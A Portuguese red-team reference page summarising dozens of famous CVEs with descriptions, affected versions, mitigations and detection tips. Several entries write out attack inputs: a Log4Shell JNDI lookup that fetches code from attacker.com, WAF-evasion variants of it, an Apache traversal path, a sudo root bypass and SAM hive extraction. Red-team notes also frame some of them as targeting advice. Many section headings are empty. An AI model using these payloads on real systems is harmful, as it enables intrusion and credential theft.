CVE Red Team
Reference

Descrição Técnica

Buffer overflow no protocolo SMBv1 do Windows. Atacante não autenticado envia pacotes SMB forjados para 445/TCP e executa código como SYSTEM. Desenvolvido pela NSA, vazado pelo Shadow Brokers (abr/2017). Frequentemente paired com backdoor DOUBLEPULSAR. Metasploit: exploit/windows/smb/ms17_010_eternalblue.

Sistemas Afetados

• Windows XP, Vista, 7, 8.x, 10
• Windows Server 2003–2016
• Qualquer sistema com SMBv1 habilitado (porta 445)
• Patch: MS17-010 (março 2017)

Casos Famosos

Mitigação

Aplicar patch MS17-010. Desabilitar SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Bloquear porta 445 no perímetro de rede.

Descrição Técnica

Log4j 2 resolvia lookups JNDI automaticamente ao logar strings. Inserir ${jndi:ldap://attacker.com/x} em qualquer campo logado (User-Agent, headers, username) faz o servidor Java buscar e executar classe remota. Existia desde 2013. Descoberta por Chen Zhaojun (Alibaba Cloud). Considerada a pior vulnerabilidade da história da internet.

Sistemas Afetados

• Apache Log4j 2.x < 2.15.0
• VMware vCenter, Cisco, Fortinet, IBM, Oracle
• Minecraft, Steam, Apple iCloud, AWS
• 31 grupos APT com exploração confirmada (VulnCheck)

Casos Famosos

Bypass de WAF

Ofuscação: ${${lower:j}ndi:}, ${${::-j}${::-n}${::-d}${::-i}:} para evadir filtros. IOC: ${jndi: em logs de aplicação.

Descrição Técnica

Chain de 3 CVEs no Exchange Server: (1) Path Confusion via URL malformada; (2) Escalação para SYSTEM; (3) Arbitrary File Write → webshell. 100% pré-autenticado. Descoberto por Orange Tsai (DEVCORE) no Black Hat 2021. PoC público em dias.

Sistemas Afetados

• Exchange Server 2013, 2016 (CU19-)
• Exchange Server 2019 (CU8-)
• Instâncias com porta 443 exposta na internet

Casos Famosos

Payload

Webshells em %ExchangeInstallPath%\FrontEnd\HttpProxy\owauth\. Shodan: product:"Microsoft Exchange" revela milhares de alvos.

Descrição Técnica

CVE-2021-26855: SSRF via header X-AnonResource-Backend manipulado — bypassa autenticação. CVE-2021-27065: write de arquivo arbitrário via ECP (Exchange Control Panel) → webshell como SYSTEM. Explorado como zero-day pelo grupo Hafnium (China) antes de qualquer divulgação.

Casos Famosos

Sistemas Afetados

• Exchange Server 2013, 2016, 2019 on-premises
• Exchange Online (M365) NÃO afetado
• 250k+ servidores comprometidos mundialmente

Detecção

Webshells em C:\inetpub\wwwrootspnet_client\. Ferramenta Microsoft EOMT.ps1 para detecção e mitigação automatizada.

Descrição Técnica

SQL Injection no MOVEit Transfer (MFT corporativo). Acesso não autenticado ao banco de dados, exfiltração de arquivos e upload de webshell LEMURLOOT. Explorado como zero-day pelo CL0P desde mai/2023. Taxa de patch de apenas 51% após 56 dias (Qualys).

Casos Famosos

Sistemas Afetados

• MOVEit Transfer versões anteriores a 2021.0.6 até 2023.0.1
• MOVEit Cloud versões correspondentes
• 2500+ organizações globalmente comprometidas

TTPs CL0P

Fase 1: exploração silenciosa + exfiltração. Fase 2: ransom notes por e-mail sem encryption local (puro data extortion). CL0P demonstrou especialização em plataformas MFT.

Descrição Técnica

O Microsoft Support Diagnostic Tool (MSDT) é chamado via ms-msdt:// a partir de documentos Office. Um .docx malicioso usa remote template para baixar HTML que aciona MSDT com parâmetros PowerShell embutidos. Executa código sem macros — basta abrir ou pré-visualizar o arquivo.

Sistemas Afetados

• Microsoft Office 2013–2021, Microsoft 365
• Windows 7–11 com MSDT habilitado
• Vetor: phishing com .docx / .rtf em e-mail

Casos Famosos

Mitigação

Desabilitar MSDT URL handler: reg delete HKEY_CLASSES_ROOT\ms-msdt /f. Patch via Windows Update (jun/2022). Habilitar Protected View para documentos externos.

Descrição Técnica

Falha no plugin Jakarta Multipart do Struts 2. Header HTTP Content-Type com expressão OGNL maliciosa é executado no servidor. Exploração trivial via curl com header forjado. Zero autenticação necessária.

Caso Equifax (2017)

Sistemas Afetados

• Apache Struts 2.3.x < 2.3.32
• Apache Struts 2.5.x < 2.5.10.1
• Qualquer Java app com Struts + Jakarta Multipart parser

Lição

100% causado por falha em patchear. Case mais citado em defesa de patch management e DevSecOps. Scan massivo via Shodan em <24h após disclosure público.

Descrição Técnica

Path traversal no SSL VPN webportal via /vpn/../vpns/portal/scripts/newbm.pl. Executa scripts Perl sem autenticação usando template injection. Apenas 2 requisições HTTP para RCE completo. Patch demorou semanas — exploração massiva no período.

Sistemas Afetados

• Citrix ADC / NetScaler ADC 10.5–13.0 (todas as builds)
• Citrix Gateway 10.5–13.0 (todas as builds)
• SD-WAN WANOP Appliance 10.2.6, 11.0.3

Casos Famosos

Check Rápido

curl -vk --path-as-is https://TARGET/vpn/../vpns/ — resposta 403 indica MITIGADO; qualquer outra indica VULNERÁVEL.

Descrição Técnica

CVE-2021-21985: RCE pré-autenticado no vSphere Client via plugin Virtual SAN Health Check. CVE-2021-21972: SSRF → RCE pré-autenticado via endpoint de upload de OVA. Comprometer vCenter = comprometer toda a infraestrutura virtualizada da organização.

Casos Famosos

Sistemas Afetados

• vCenter Server 6.5, 6.7, 7.0
• VMware Cloud Foundation 3.x, 4.x
• Shodan revela milhares de vCenters expostos na internet

Mitigação

Desabilitar plugin vSAN Health Check quando desnecessário. Nunca expor vCenter à internet. Restringir à rede de gerenciamento interna. Atualizar para vCenter 7.0 U2+.

Descrição Técnica

CVE-2021-26084: OGNL injection — parâmetros de query string processados como expressões OGNL → RCE pré-autenticado. CVE-2023-22518: improper authorization na REST API → criar conta admin sem credenciais → instalar plugin malicioso → RCE completo.

Casos Famosos

Sistemas Afetados

• Confluence Server & Data Center (versões pré-patch)
• Instâncias expostas na internet (porta 8090/443)
• Confluence Cloud NÃO afetado pelo CVE-2021-26084

Reconhecimento

Shodan: X-Confluence-Request-Time identifica instâncias públicas. Confluence é wiki interna amplamente exposta com atenção menor a patches por ser software “não crítico”.

Descrição Técnica

Authentication bypass no painel admin do PaperCut NG/MF (gerenciamento de impressão). Execução de scripts externos como SYSTEM via função de scripting externo. Não requer credenciais válidas — bypass direto via parâmetros manipulados no painel de administração web.

Casos Famosos

Sistemas Afetados

• PaperCut NG < 22.1.3 (todas as versões anteriores)
• PaperCut MF < 22.1.3
• Amplamente usado em universidades, hospitais e governo

Mitigação

Atualizar para 22.1.3+. Restringir acesso ao painel admin (porta 9191) à rede interna. Desabilitar scripting externo se não for necessário ao ambiente.

Descrição Técnica

Command injection no feature GlobalProtect do PAN-OS via arbitrary file creation + command injection. Atacante não autenticado executa código com privilégios de root no firewall. 143.000+ dispositivos expostos globalmente (Censys). Explorado como zero-day desde 26 mar/2024. PAN-OS é aprovado para redes classificadas dos EUA — tornando este CVE especialmente sensível.

Operation MidnightEclipse

Sistemas Afetados

• PAN-OS 10.2 < 10.2.9-h1
• PAN-OS 11.0 < 11.0.4-h1
• PAN-OS 11.1 < 11.1.2-h3
• Com GlobalProtect gateway ou portal habilitado

Detecção

Buscar processo UPSTYLE. Verificar /opt/panlogs/tmp/device_telemetry/ por arquivos suspeitos. Patch imediato é a única mitigação efetiva confirmada.

Descrição Técnica

Chain: CVE-2023-46805 (auth bypass via path traversal) + CVE-2024-21887 (command injection) = RCE não autenticado. Explorado como zero-day desde dez/2023 pelo grupo chinês UTA0178. CISA emitiu Emergency Directive ED 24-01 — ordenou desconexão das instâncias afetadas (ação extremamente rara). 17.000+ instâncias expostas no Shodan.

Casos Famosos

Sistemas Afetados

• Ivanti Connect Secure 9.x, 22.x (todas as versões)
• Ivanti Policy Secure 9.x, 22.x
• CVE adicional CVE-2024-21893 (SSRF) também explorado na mesma campanha

Detalhe Crítico

Ivanti recomendou factory reset antes de aplicar patch — dispositivos comprometidos mantinham persistência mesmo após update. Workarounds iniciais foram bypassados por atacantes em dias.

Descrição Técnica

Falha criptográfica no MS-NRPC. AES-CFB8 com IV de zeros — probabilidade 1/256 de texto cifrado all-zeros autenticar. Atacante na rede faz brute force em <3 segundos (256 tentativas) e redefine senha do Domain Controller para vazio → controle total do Active Directory sem nenhuma credencial prévia.

Casos Famosos

Sistemas Afetados

• Windows Server 2008 R2, 2012, 2012 R2, 2016, 2019
• Qualquer Domain Controller sem patch KB4571694
• Requer: acesso de rede ao DC (porta 445)

Impacto

Acesso interno à rede (zero credenciais) → comprometimento do domínio AD completo em <1 minuto. Uma das vulnerabilidades mais devastadoras já encontradas em ambientes Windows corporativos. Exploit público no GitHub em horas após disclosure.

Descrição Técnica

O serviço Windows Print Spooler (spoolsv.exe) roda como SYSTEM e permite usuários autenticados instalar drivers. Função RpcAddPrinterDriver carrega DLL maliciosa como SYSTEM. Dois vetores: LPE local e RCE remoto via SMB. Pesquisadores publicaram PoC acidentalmente antes do patch — em 1 hora já havia exploração ativa.

Casos Famosos

Sistemas Afetados

• Todas as versões Windows com Print Spooler ativo
• Especialmente crítico em Domain Controllers
• Patch inicial incompleto gerou múltiplas variantes

Mitigação

Desabilitar Print Spooler em DCs: Stop-Service Spooler -Force + Set-Service Spooler -StartupType Disabled. Configurar Point and Print Restrictions via GPO.

Descrição Técnica

Memory corruption no utilitário pkexec (parte do Polkit, presente em toda distro Linux). Qualquer usuário sem privilégios pode explorar escrita out-of-bounds em variáveis de ambiente para executar código como root. Existiu desde a criação do pkexec em 2009 (12+ anos). Descoberto pela Qualys. 100% confiável — zero crashes.

Sistemas Afetados

• Todas distros Linux com polkit instalado (Ubuntu, RHEL, Fedora, Debian, CentOS, SUSE)
• polkit versões sem patch
• Funciona mesmo sem Polkit rodando como serviço ativo

Exploração

Mitigação

Patch polkit via gerenciador de pacotes. Workaround: chmod 0755 /usr/bin/pkexec (remove SUID bit). Qualys liberou ferramenta de detecção pública.

Descrição Técnica

Falha no mecanismo de pipes do kernel Linux — páginas em cache de arquivos não tinham o flag PIPE_BUF_FLAG_CAN_MERGE devidamente limpo. Qualquer processo pode sobrescrever arquivos arbitrários mesmo read-only, incluindo /etc/passwd e SUID binaries. Análoga ao DirtyCOW, mas mais simples e poderosa.

Sistemas Afetados

• Linux Kernel 5.8 – 5.16.11
• Android (kernel 5.8+): toda a linha Android 12
• Containers Docker com kernel vulnerável do host

Container Escape

Exploit

PoC público de 30 linhas em C. Sobrescreve /etc/passwd para adicionar usuário root sem senha. Fix: atualizar kernel para 5.16.11+, 5.15.25+ ou 5.10.102+.

Descrição Técnica

Race condition no mecanismo Copy-on-Write (COW) do kernel Linux. Um processo pode modificar arquivos read-only (incluindo SUID binaries) explorando a janela de tempo entre mapeamento de memória e escrita. Existiu por 9+ anos (desde 2007). Descoberto por Phil Oester. Trivialmente exploitável em toda distro Linux.

Sistemas Afetados

• Linux Kernel < 4.8.3, 4.7.9, 4.4.26
• Toda distro Linux não patcheada (Ubuntu, RHEL, Debian, CentOS…)
• Android: 1+ bilhão de dispositivos afetados

Casos Famosos

Exploração

Dois threads em race condition: um lendo arquivo mapeado, outro escrevendo via /proc/self/mem. Resultado: overwrite de binários SUID com shellcode → root shell imediato.

Descrição Técnica

Heap-based buffer overflow no utilitário sudo ao processar argumentos com backslashes. Presente desde jul/2011 (sudo 1.8.2). Qualquer usuário local pode executar comando específico para triggerar overflow e obter root. Não requer ser membro do grupo sudoers. Descoberto pela Qualys.

Sistemas Afetados

• sudo 1.8.2 – 1.9.5p1
• Ubuntu 20.04, 18.04, 16.04
• Debian 10, Fedora 33, macOS Catalina
• Praticamente toda distro Linux/Unix com sudo

Detecção e Mitigação

Verificar versão: sudo --version. Versão 1.9.5p2+ está patcheada. IOC: chamadas incomuns ao sudoedit com argumentos anômalos nos logs de auditoria.

Red Team Note

Altamente confiável em ambientes Linux corporativos com sudo desatualizado. Combina bem com acesso inicial via web shell em servidor Ubuntu — root imediato sem interação do usuário.

Descrição Técnica

Arquivo ZIP com pasta e arquivo de mesmo nome (ex: foto.jpg e pasta foto.jpg/). Ao clicar no “arquivo”, WinRAR executa script dentro da pasta (.bat, .exe) ao invés da imagem. Zero interação técnica — usuário apenas abre o ZIP. Explorado como zero-day por 4+ meses. Em 2023 foi o CVE mais explorado em APTs, superando Log4Shell (Kaspersky ICS CERT).

Casos Famosos

Sistemas Afetados

• WinRAR < 6.23 (todas as versões anteriores)
• ~500 milhões de usuários do WinRAR
• Vetor primário: phishing em fóruns especializados de trading

Impacto

Único entre CVEs modernos por atacar software tão difundido e raramente atualizado. Simplicidade do ataque (ZIP com nome duplicado) ideal para spear phishing direcionado de alta eficácia.

Descrição Técnica

Falha no data binding do Spring Framework — parâmetros HTTP mapeados a propriedades de objetos Java. Via ClassLoader manipulation, é possível acessar o AccessLogValve do Tomcat e criar um JSP webshell no diretório web. Requer Spring MVC + Java 9+ + Tomcat. Comparado ao Log4Shell em impacto potencial.

Sistemas Afetados

• Spring Framework 5.3.x < 5.3.18
• Spring Framework 5.2.x < 5.2.20
• Java 9+ (module system é requisito)
• Implantado como WAR no Apache Tomcat

Exploração

Patch

Atualizar Spring Framework 5.3.18+ ou 5.2.20+. Spring Boot 2.6.6+ já inclui a versão patcheada. Workaround: validar binding com @InitBinder.

Descrição Técnica

O bash executa código encontrado em variáveis de ambiente ao inicializar. Valor () { :; }; /bin/cmd em qualquer variável importada resulta em execução. Vetores: CGI web scripts, DHCP hooks, SSH ForceCommand, scripts de boot. Existiu por 25 anos (desde bash 1.0.3 de 1989).

Sistemas Afetados

• GNU Bash < 4.3 Patch 25
• Linux, macOS (todos com bash vulnerável)
• Qualquer CGI script executando via bash
• Dispositivos IoT, roteadores, câmeras com bash

Casos Famosos

Check

env x='() { :;}; echo vulnerable' bash -c "echo test" — se imprimir “vulnerable”, o sistema está afetado e deve ser atualizado imediatamente.

Descrição Técnica

Buffer over-read na extensão TLS Heartbeat do OpenSSL. Servidor não valida o tamanho declarado no heartbeat request — atacante declara 64KB e recebe 64KB da memória do servidor, incluindo chaves privadas SSL, passwords, cookies de sessão. Ataque silencioso — não deixa rastros nos logs. Afetou ~17% de servidores HTTPS da internet.

Casos Famosos

Sistemas Afetados

• OpenSSL 1.0.1 – 1.0.1f
• ~500.000 servidores HTTPS (Netcraft)
• Linux, Android (OpenSSL), VPNs, load balancers

Legado

Catalisador para criação do Core Infrastructure Initiative (CII) da Linux Foundation. Heartbleed permanece explorável em dispositivos IoT e embedded não patcheados até hoje.

Descrição Técnica

Path traversal no Apache HTTP Server 2.4.49 — o novo sistema de URL mapping permite escapes de diretório: cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd. Se mod_cgi estiver habilitado, escalável para RCE. CVE-2021-42013 é bypass do patch incompleto da 2.4.49 para versão 2.4.50. Exploração em massa em <24h após disclosure.

Sistemas Afetados

• Apache HTTP Server 2.4.49 (CVE-2021-41773)
• Apache HTTP Server 2.4.50 (CVE-2021-42013, patch bypass)
• Apenas estas versões específicas — janela curta mas exploração intensa

Casos Famosos

Mitigação

Atualizar imediatamente para Apache 2.4.51+. Verificar configuração de Require all denied para diretórios sensíveis. Desabilitar mod_cgi quando não necessário.

Descrição Técnica

Buffer overflow no Citrix NetScaler ADC/Gateway — vaza conteúdo de memória do dispositivo incluindo tokens de sessão ativos via HTTP request malformado. Com o token, atacante se passa por qualquer usuário bypassando MFA completamente. CVE mais explorado de 2023 (Five Eyes Advisory CISA/NSA/FBI).

Casos Famosos

Alerta Pós-Patch

Patchear NÃO invalida sessões existentes. Organizações que patchearam sem encerrar todas as sessões continuaram sendo comprometidas. CISA: encerrar todas as sessões ativas ANTES de aplicar o patch.

Sistemas Afetados

• NetScaler ADC < 14.1-8.50
• NetScaler ADC 13.1 < 13.1-49.15
• NetScaler ADC 13.0 < 13.0-92.19
• NetScaler Gateway — mesmas versões

Descrição Técnica

CVE-2018-13379: path traversal sem auth — baixa arquivo sslvpn_websession com credenciais VPN em claro. CVE-2023-27997: heap overflow pré-autenticado no SSL-VPN → RCE. Afeta ~500.000 firewalls globalmente. Fortinet aparece dezenas de vezes no CISA KEV.

Casos Famosos

Sistemas Afetados

• FortiOS 5.x, 6.0, 6.2, 6.4 (CVE-2018-13379)
• FortiOS 6.0–7.0 + FortiProxy (CVE-2023-27997)
• Qualquer Fortinet com SSL-VPN habilitado (porta 4433/443)

Reconhecimento

Shodan: ssl:"FortiGate" — dezenas de milhares de instâncias expostas. CVE-2018-13379 continua sendo explorada em 2024–2025 contra versões antigas não patcheadas.

Descrição Técnica

CVE-2019-11510: path traversal sem auth — lê arquivos arbitrários incluindo /etc/passwd e cache de sessões com credenciais. CVE-2021-22893: RCE zero-day via Windows File Share Browser, explorado por APTs chineses e iraniano UNC2630/UNC2717 em infraestrutura de defesa.

Casos Famosos

Lição

CVE-2019-11510 continuou sendo explorado por 5+ anos após disclosure em organizações que não aplicaram o patch. VPNs com acesso direto à rede interna são os alvos de maior valor.

Sistemas Afetados

• Pulse Secure 9.0R1–9.0R3.3 e 8.x (todas as versões)
• Ivanti Connect Secure (produto renomeado)
• Instâncias expostas na internet (porta 443/4433)

Descrição Técnica

Authentication bypass na interface iControl REST do F5 BIG-IP — permite RCE como root sem credenciais via requisição HTTP manipulando o header X-F5-Auth-Token ou autenticação básica malformada. F5 BIG-IP é o load balancer/ADC líder em empresas Fortune 500 e governo.

Sistemas Afetados

• BIG-IP 16.0.x, 15.1.x, 14.1.x, 13.1.x, 12.1.x, 11.6.x
• BIG-IQ Centralized Management 8.x, 7.x
• F5 NGINX Controller em versões específicas

Casos Famosos

Impacto

Comprometer um BIG-IP = comprometer o load balancer que processa todo o tráfego de rede. Capacidade de interceptar HTTPS, redirecionar usuários, exfiltrar credentials em trânsito de toda a organização.

Descrição Técnica

Code injection pré-autenticado no Citrix NetScaler ADC/Gateway. CVE mais explorado de 2023 pelo Five Eyes Advisory (CISA/NSA/FBI) com CVSS 9.8. Usado em ataques contra infraestrutura crítica americana em 2023. Afeta instâncias configuradas como Gateway ou AAA virtual server.

Casos Famosos

Sistemas Afetados

• NetScaler ADC & Gateway 13.1 < 13.1-49.13
• NetScaler ADC & Gateway 13.0 < 13.0-91.13
• NetScaler ADC 12.1 (EOL — sem patch disponível)

Contexto CISA

16 CVEs do Citrix no CISA KEV — 6 deles usados em campanhas de ransomware. Juntamente com CVE-2023-4966 (CitrixBleed), Citrix foi o vendor mais explorado em 2023 segundo o Five Eyes Advisory.

Descrição Técnica

CVE-2023-20198 (CVSS 10.0): cria conta admin sem autenticação via HTTP ao endpoint /webui/logoutconfirm.html. CVE-2023-20273 (CVSS 7.2): escala para root + escreve implante malicioso persistente no filesystem. 50.000+ dispositivos com implantes ativos detectados pelo Censys em out/2023. Cisco aparece 74x no CISA KEV.

Escala Histórica

Sistemas Afetados

• Cisco IOS XE com Web UI habilitado (porta 443/80)
• Roteadores, switches, access points Cisco
• Implantes sobreviviam a reboots (escrito em filesystem)

Detecção

Check implante: GET /webui/logoutconfirm.html?logon_hash=1 — resposta hexadecimal indica comprometimento. Mitigação: no ip http server + no ip http secure-server.

Descrição Técnica

APT29 (Cozy Bear / SVR russo) comprometeu o pipeline de build da SolarWinds e injetou backdoor SUNBURST em updates assinados digitalmente. A backdoor dormia 12–14 dias, verificava se estava em sandbox, depois iniciava comunicação C2 via DNS/HTTP camuflada como tráfego legítimo do Orion. Acesso não detectado por 9+ meses em ~18.000 organizações.

Vítimas Notáveis

Sistemas Afetados

• SolarWinds Orion 2019.4 – 2020.2.1
• ~18.000 organizações instalaram o update malicioso
• Microsoft, Intel, Cisco, Deloitte entre as vítimas privadas

Lição

Signed binaries ≠ software seguro. Introduziu “island hopping” como vetor APT moderno. Catalisou revisão completa de supply chain security nos EUA e criação de EO 14028 sobre cybersecurity.

Descrição Técnica

Backdoor inserido no XZ Utils (biblioteca de compressão usada em todo Linux) por “Jia Tan” após 2 anos de contribuições legítimas. Backdoor modificava liblzma via script de build malicioso → injetava em libsystemd e sshd → auth SSH sem senha via chave RSA do atacante. Descoberto por acidente por Andres Freund (Microsoft) investigando aumento de 500ms no login SSH.

O Near-Miss do Século

Sistemas Afetados

• XZ Utils 5.6.0 e 5.6.1
• Fedora 40/41, Debian Testing/Unstable, openSUSE Tumbleweed
• Detectado ANTES de chegar ao Debian Stable / Ubuntu LTS

Legado

Levantou questões críticas sobre confiança em maintainers open source. CISA e OpenSSF lançaram iniciativas de segurança de supply chain após o incidente.

Descrição Técnica

O grupo Lazarus (Coreia do Norte) infectou um funcionário da 3CX via trojanização de software da Trading Technologies (outro supply chain attack). O funcionário com acesso ao repo de build contaminou o instalador oficial do 3CX Desktop App (VoIP usado por 600k+ empresas). DLLs maliciosas carregavam shellcode via .ico files hospedados no GitHub.

O Duplo Supply Chain

Escala

• 600.000+ empresas clientes da 3CX
• 12+ milhões de usuários do 3CX Desktop
• Financeiro, saúde e governo entre os alvos prioritários

Detecção

IOCs: DLLs ffmpeg.dll e d3dcompiler_47.dll modificadas na pasta do 3CX. Conexões para raw.githubusercontent.com/IconStorages. Análises completas da Mandiant e CrowdStrike.

Descrição Técnica

RCE pré-autenticado via Java deserialization no Fortra GoAnywhere MFT (Managed File Transfer). Endpoint /License/licenseService aceita dados serializados Java sem autenticação. CL0P explorou como zero-day em fev/2023, semanas antes da divulgação pública.

Casos Famosos

Sistemas Afetados

• GoAnywhere MFT < 7.1.2
• Interface de administração exposta (porta 8000/8001)
• Nunca expor a interface admin à internet pública

Padrão CL0P

Especialização em MFT: Accellion FTA (2020) → GoAnywhere MFT (2023) → MOVEit Transfer (2023). Um vendor por vez, em escala massiva, com extorsão data-only.

Descrição Técnica

CVE-2018-7600 (Drupalgeddon 2): RCE pré-autenticado via Form API do Drupal — parâmetros PHP processados sem sanitização. CVE-2014-3704 (Drupalgeddon original): SQL injection massiva no core Drupal 7 sem autenticação — comprometia o site em milissegundos.

Casos Famosos

Sistemas Afetados

• Drupal 6.x, 7.x (Drupalgeddon original)
• Drupal 6.x, 7.x, 8.x (Drupalgeddon 2)
• Amplamente usado em sites governamentais incluindo a Casa Branca

Impacto

Drupal é preferido por governos (Casa Branca usava Drupal). Sua adoção em setor público torna Drupalgeddon especialmente sensível para atores de espionagem.

Descrição Técnica

CVE-2019-0604: deserialization de dados não confiáveis na pipeline do SharePoint Server — RCE pré-autenticado sem credenciais. CVE-2022-29108: RCE adicional via processamento de requisições SharePoint. SharePoint exposto é alvo constante de APTs por frequentemente conter documentos confidenciais.

Casos Famosos

Sistemas Afetados

• SharePoint Enterprise Server 2013–2019
• SharePoint Foundation 2013
• SharePoint Server 2019 on-premises (SharePoint Online não afetado)

Reconhecimento

Shodan: X-SharePoint-Health-Score. SharePoint on-premises frequentemente exposto diretamente na internet por organizações que não usam WAF ou proxy reverso.

Descrição Técnica

O parser args4j da CLI do Jenkins expande o caractere @ lendo conteúdo de arquivos do servidor. Um atacante com acesso à CLI (mesmo “Anonymous”) pode ler arquivos arbitrários incluindo secrets/master.key, credenciais de builds e arquivos de configuração. Em configurações específicas, escalável para RCE completo.

Impacto CI/CD

Sistemas Afetados

• Jenkins < 2.442
• Jenkins LTS < 2.426.3
• Amplamente exposto na internet (Shodan: product:Jenkins)

Red Team Note

Encontrar um Jenkins desprotegido geralmente significa acesso a todas as credenciais do ambiente de desenvolvimento e produção da organização. Alta prioridade em reconhecimento de redes corporativas.

Descrição Técnica

GitLab usa ExifTool para processar metadados de imagens. ExifTool é vulnerável (CVE-2021-22204) ao processar arquivos DjVu com metadados manipulados — executa código arbitrário. Encadeado com upload do GitLab, permite RCE pré-autenticado apenas enviando uma imagem maliciosa. CVSS 10.0 — máximo possível.

Casos Famosos

Sistemas Afetados

• GitLab CE/EE 11.9 – 13.10.3
• GitLab 13.9.x < 13.9.6
• GitLab 13.8.x < 13.8.8

Impacto

GitLab contém código-fonte, pipelines CI/CD, tokens de API, segredos de deploy — comprometer GitLab é equivalente a comprometer toda a propriedade intelectual de desenvolvimento de uma empresa.

Descrição Técnica

Buffer overflow no Windows Server service via RPC request malformado. RCE remoto sem autenticação na porta 445/TCP (SMB) e 139/TCP (NetBIOS). O worm Conficker explorou esta vulnerabilidade para criar a maior botnet já observada, com domain generation algorithm (DGA) sofisticado para evasão.

Casos Famosos

Sistemas Afetados

• Windows 2000, XP, Vista, Server 2003/2008
• Ainda presente em sistemas industriais OT/ICS desatualizados em 2024

Legado

Conficker levou à criação do Conficker Working Group — primeira grande colaboração público-privada em cybersecurity. Precedente para ISAC e threat sharing atuais.

Descrição Técnica

Use-after-free no Remote Desktop Services do Windows (porta 3389/TCP). RCE pré-autenticado e potencialmente wormable — características que lembravam o EternalBlue. NSA, NCSC e Microsoft emitiram alertas urgentes antecipando worm tipo WannaCry. Use-after-free no canal MS_T120 do protocolo RDP.

Sistemas Afetados

• Windows XP, Vista, 7
• Windows Server 2003, 2008, 2008 R2
• 1 milhão+ de sistemas com RDP exposto na internet (Shodan)

Desfecho

Família DejaBlue

CVE-2019-1181/1182 (DejaBlue) descobertos na sequência com vulnerabilidades similares em versões mais novas do RDP. RDP exposto na internet é convite permanente para ataques de força bruta e exploits.

Descrição Técnica

Falha no Microsoft Kerberos KDC — permite que qualquer usuário de domínio forje um ticket PAC (Privilege Attribute Certificate) com Group SID de Domain Admin, sem nenhum conhecimento da senha do administrador. Usuário comum com credenciais válidas → Domain Admin em minutos via PyKEK ou Mimikatz.

Exploração

Sistemas Afetados

• Windows Server 2003–2012 R2 (KDC não patcheado)
• Qualquer ambiente AD com DC vulnerável
• Requer: conta de domínio válida (qualquer nível)

Red Team

Ferramenta: PyKEK ou goldenPac no Impacket. Requer credenciais de qualquer usuário de domínio. Resultado: privilégios equivalentes a Golden Ticket como Domain Admin.

Descrição Técnica

O engine MSHTML (Trident) do Windows processa HTML em documentos Office. Um .docx pode carregar controle ActiveX que executa código malicioso via protocolo chloe:// ou similares. Explorado antes do patch em campanhas de espionagem. Executa código sem macros — basta abrir o arquivo. Parcialmente mitigado por Protected View, mas contornável.

Casos Famosos

Sistemas Afetados

• Windows 7–11 com MSHTML/Trident
• Microsoft Office 2013–2021, Microsoft 365
• Internet Explorer (componente MSHTML)

Mitigação

Desabilitar ActiveX no IE via Group Policy. Aplicar patch de set/2021. Habilitar Protected View para todos os documentos externos. Desabilitar preview de .docx no Explorer.

Descrição Técnica

Parte do bundle MS17-010 do EternalBlue, mas com vetor diferente. Explora uma transação Write AndX malformada no SMBv1 para null dereference e execução de código como SYSTEM. Mais confiável que EternalBlue em alguns cenários (Windows 2003/XP). Também vazado pelo Shadow Brokers em abr/2017.

Casos Famosos

Sistemas Afetados

• Windows XP, Server 2003, 2008 (maior impacto)
• Windows Vista, 7, 8.x também afetados
• Metasploit: exploit/windows/smb/ms17_010_psexec

Diferença do EternalBlue

EternalRomance é mais confiável em Windows Server 2003/XP onde EternalBlue falha com frequência. Ambos são parte do mesmo patch MS17-010 e frequentemente usados juntos em operações Red Team.

Descrição Técnica

Permissões incorretas nas Shadow Copies do Windows permitem que usuários não-admin leiam arquivos SAM, SYSTEM e SECURITY. O banco SAM contém hashes NTLM de todas as contas locais — incluindo a conta Administrator. Um usuário local padrão pode extrair todos os hashes para Pass-the-Hash ou cracking offline.

Sistemas Afetados

• Windows 10 1809 e posteriores
• Windows 11 (versões iniciais)
• Requer: Shadow Copies habilitadas + usuário local autenticado

Exploração

Comando

reg save hklm\sam sam.bak — em sistema vulnerável, usuário sem privilégios pode executar este comando e obter o banco SAM completo para crack offline com hashcat/john.

Descrição Técnica

Quando o sudoers está configurado para permitir execução como qualquer usuário exceto root (ALL, !root), é possível bypassar a restrição especificando ID de usuário -1 ou 4294967295: sudo -u#-1 /bin/bash. O sudo converte -1 para 0 (root) internamente, ignorando a restrição explícita.

Sistemas Afetados

• sudo < 1.8.28
• Apenas configurações com ALL, !root — mas demonstra que “negar root” não é suficiente
• Linux, macOS, BSD com sudo vulnerável

Exploração

Red Team

Procurar por linhas !root no /etc/sudoers. Configurações “seguras” que tentam negar root mas permitem ALL são vulneráveis nesta versão do sudo.

Descrição Técnica

Conversão de inteiro no módulo fs/seq_file.c do kernel Linux ao escrever em /proc/[pid]/mountinfo. Um usuário sem privilégios pode criar uma estrutura de diretórios profundamente aninhada (mais de 1 milhão de camadas), montar e desmontar um filesystem dentro, e explorar o overflow para obter root. Descoberto pela Qualys.

Sistemas Afetados

• Linux Kernel 3.16 – 5.13.3
• Ubuntu 20.04, 20.10, 21.04
• Debian 11, Fedora 34
• RHEL, CentOS 8, SUSE 15

Exploração

Mitigação

Atualizar kernel para 5.13.4+. Workaround: limitar profundidade de montagem via configuração de cgroups e namespaces em ambientes de container.

Descrição Técnica

Command injection no Barracuda ESG ao processar anexos TAR com nomes de arquivo especialmente forjados. Appliance executa código arbitrário ao escanear o e-mail — sem interação do usuário além de receber o e-mail. Explorado pelo grupo chinês UNC4841 por 7+ meses antes da descoberta.

Caso Único

Sistemas Afetados

• Barracuda ESG appliances físicos e virtuais
• Firmware < 9.2.0.006
• Governo, defesa, telecomunicações global

Reconhecimento

UNC4841 (China) realizou campanha global de espionagem. Mandiant investigou e atribuiu ao grupo com alta confiança. Explorado como zero-day desde out/2022 até mai/2023.

Descrição Técnica

Vulnerabilidade no módulo WebSocket Node.js do FortiOS e FortiProxy — requisição especialmente forjada obtém privilégios de super-administrador no dispositivo. CVSS 9.8, ativamente explorado pelo grupo NightSpire ransomware para acesso inicial. CISA adicionou ao KEV. Fortinet continua sendo alvo consistente por ser amplamente implantado.

Casos Famosos

Sistemas Afetados

• FortiOS 7.0.0 – 7.0.16
• FortiProxy 7.0.0 – 7.0.19
• FortiProxy 7.2.0 – 7.2.12

Padrão Fortinet

Fortinet acumulou dezenas de entradas no CISA KEV. CVEs no FortiOS tendem a ser críticos pois comprometer o firewall significa controle sobre toda a rede perimetral da organização.

Descrição Técnica

